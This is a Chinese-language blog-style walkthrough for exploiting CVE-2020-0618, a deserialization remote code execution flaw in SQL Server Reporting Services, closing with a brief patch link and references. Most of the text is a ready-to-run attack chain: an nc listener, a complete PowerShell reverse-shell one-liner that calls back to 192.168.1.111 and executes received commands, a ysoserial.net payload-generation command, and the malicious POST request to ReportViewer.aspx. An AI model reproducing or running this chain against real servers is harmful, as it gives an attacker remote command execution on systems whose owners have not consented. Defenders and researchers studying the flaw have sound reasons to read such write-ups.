bookmark_borderCVE-2020-0618 SQL Server 远程代码执行利用

【背景】
2020年2月,微软发布一系列补丁,其中修复了CVE-2020-0618漏洞,该漏洞需要认证,使用账号密码通过ntml方式登录sql server的SQL Server Reporting Services (SSRS)才能利用,账户权限据说任何权限都可以,我直接用的administrator,其他没测。使用该漏洞可以获取操作系统权限。
【漏洞详情】

1 burp里对sql server配置ntml认证。User options -> connections -> Plateform Authentication

2 nc 设置监听,监听80端口 (测试 443 445 都可以)。

sudo nc -nlvp 80

3 去 https://github.com/pwntester/ysoserial.net/releases 下载 ysoserial.net 工具生成payload,在powershell执行命令:

$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.1.111",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

结果被复制到剪贴板。

4 burp发包

POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X

NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=【第三步的结果复制到这并删除多余的换行】&__VIEWSTATE=

成功:

这也是个反序列化的漏洞,对用户输入没做校验就调用 .Deserialize(value)函数。

长见识了,以前只知道java有ysoserial工具,没想到.net也有。

【风险评级】

中危


【影响版本】

【修复建议】
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0618 下载修复补丁。
【参考链接】
https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/ (POC)
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0618 (补丁下载)